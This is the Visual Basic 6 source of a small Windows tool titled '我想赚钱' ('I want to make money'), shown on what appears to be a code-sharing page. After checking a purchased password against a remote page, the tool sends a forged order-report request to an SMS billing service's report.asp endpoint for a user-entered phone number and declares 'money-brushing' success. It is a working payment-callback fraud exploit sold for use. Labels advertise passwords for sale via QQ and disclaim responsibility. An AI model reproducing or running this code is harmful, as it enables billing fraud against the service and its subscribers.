📄 form1.frm
字号:
VERSION 5.00
Object = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0"; "SHDOCVW.dll"
Begin VB.Form Form1
BackColor = &H8000000B&
BorderStyle = 3 'Fixed Dialog
Caption = "我想赚钱-品味版(混20070118)"
ClientHeight = 3465
ClientLeft = 6225
ClientTop = 4365
ClientWidth = 3840
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
MousePointer = 1 'Arrow
ScaleHeight = 3465
ScaleWidth = 3840
ShowInTaskbar = 0 'False
Begin VB.Frame Frame1
Caption = "说明"
ForeColor = &H000000FF&
Height = 1575
Left = 0
TabIndex = 8
Top = 0
Width = 3735
Begin VB.TextBox Text3
Appearance = 0 'Flat
Height = 300
IMEMode = 3 'DISABLE
Left = 1680
PasswordChar = "*"
TabIndex = 10
Top = 1000
Width = 1695
End
Begin VB.Label Label1
Caption = "先输入密码验证："
Height = 375
Left = 240
TabIndex = 11
Top = 1080
Width = 1455
End
Begin VB.Label Label3
Caption = $"Form1.frx":08CA
Height = 735
Left = 120
TabIndex = 9
Top = 240
Width = 3495
End
End
Begin VB.TextBox Text1
Appearance = 0 'Flat
BackColor = &H8000000B&
Height = 300
Left = 1800
TabIndex = 7
Top = 1980
Width = 1815
End
Begin SHDocVwCtl.WebBrowser WebBrowser2
Height = 375
Left = 1080
TabIndex = 6
Top = 3720
Visible = 0 'False
Width = 615
ExtentX = 1085
ExtentY = 661
ViewMode = 0
Offline = 0
Silent = 0
RegisterAsBrowser= 0
RegisterAsDropTarget= 1
AutoArrange = 0 'False
NoClientEdge = 0 'False
AlignLeft = 0 'False
NoWebView = 0 'False
HideFileNames = 0 'False
SingleClick = 0 'False
SingleSelection = 0 'False
NoFolders = 0 'False
Transparent = 0 'False
ViewID = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
Location = "http:///"
End
Begin VB.CheckBox Check1
Appearance = 0 'Flat
BackColor = &H8000000B&
Caption = "使用随机6位密码"
ForeColor = &H80000008&
Height = 255
Left = 120
TabIndex = 4
Top = 1680
Value = 1 'Checked
Width = 2175
End
Begin VB.CommandButton Command3
Caption = "远程验证"
Height = 375
Left = 120
TabIndex = 3
Top = 2520
Width = 1095
End
Begin VB.CommandButton Command2
Caption = "刷！刷！刷"
Height = 375
Left = 1320
TabIndex = 2
Top = 2520
Width = 1095
End
Begin SHDocVwCtl.WebBrowser WebBrowser1
Height = 375
Left = 2640
TabIndex = 1
Top = 3720
Visible = 0 'False
Width = 615
ExtentX = 1085
ExtentY = 661
ViewMode = 0
Offline = 0
Silent = 0
RegisterAsBrowser= 0
RegisterAsDropTarget= 1
AutoArrange = 0 'False
NoClientEdge = 0 'False
AlignLeft = 0 'False
NoWebView = 0 'False
HideFileNames = 0 'False
SingleClick = 0 'False
SingleSelection = 0 'False
NoFolders = 0 'False
Transparent = 0 'False
ViewID = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
Location = "http:///"
End
Begin VB.Timer Timer1
Left = 3480
Top = 2160
End
Begin VB.CommandButton Command1
Caption = "退出"
Height = 375
Left = 2520
TabIndex = 0
Top = 2520
Width = 1215
End
Begin VB.Label Label6
Caption = "密码唯一，传出去的利马封"
ForeColor = &H00000040&
Height = 255
Left = 840
TabIndex = 14
Top = 2980
Width = 3615
End
Begin VB.Label Label5
Caption = "由该软件造成的流血事件本人一概不负责"
ForeColor = &H00C00000&
Height = 375
Left = 240
TabIndex = 13
Top = 3240
Width = 3855
End
Begin VB.Label Label2
Caption = "输入要刷的手机号："
Height = 375
Left = 120
TabIndex = 12
Top = 2040
Width = 1695
End
Begin VB.Label Label4
Enabled = 0 'False
Height = 255
Left = 2400
TabIndex = 5
Top = 1680
Width = 975
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Sub Check1_Click()
Label4.Caption = Int(1000000 * Rnd + 1)
End Sub
Private Sub Command1_Click()
Unload Me
End Sub
Private Sub Command2_Click()
If IsNumeric(Text1.Text) = False Or Len(Text1.Text) > 11 Or Len(Text1.Text) < 11 Or Left(Text1.Text, 2) = 1 Or Left(Text1.Text, 1) = 0 Then
MsgBox "必须是11位的手机或小灵通号码", vbOKOnly, "提示"
Text1.SetFocus
Else
WebBrowser2.Navigate "http://www.pingsms.com/sms/report.asp?type=order&feeno=" & Text1.Text & "&state=1&password=" & Label4.Caption
If Not WebBrowser1.Busy Then
MsgBox "刷钱成功", vbOKOnly, "友情提示"
End If
End If
End Sub
Private Sub Command3_Click()
Dim a, b() As String
Dim BB As String
a = MD5(Text3.Text)
On Error Resume Next
BB = WebBrowser1.Document.body.createtextrange().Text
If Not WebBrowser1.Busy Then
If Not IsNull(BB) Then
b = Split(BB, "*")
If b(0) = a Or b(1) = a Or b(2) = a Then
MsgBox "通过验证,开刷", vbOKOnly, "友情提示"
Command2.Enabled = True
Check1.Enabled = True
Text1.Enabled = True
Text1.BackColor = &H80000009
Else
MsgBox "Sorry,你还不能刷呢！购买认证密码请联系我QQ45343453", vbOKOnly, "友情提示"
Timer1.Enabled = False
End If
End If
End If
End Sub
Private Sub Form_Load()
Command2.Enabled = False
Check1.Enabled = False
Text1.Enabled = False
Timer1.Interval = 10
Timer1.Enabled = False
WebBrowser1.Navigate "http://www.9y9y.net/yanzheng/pingsms.htm"
Timer1.Enabled = True
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -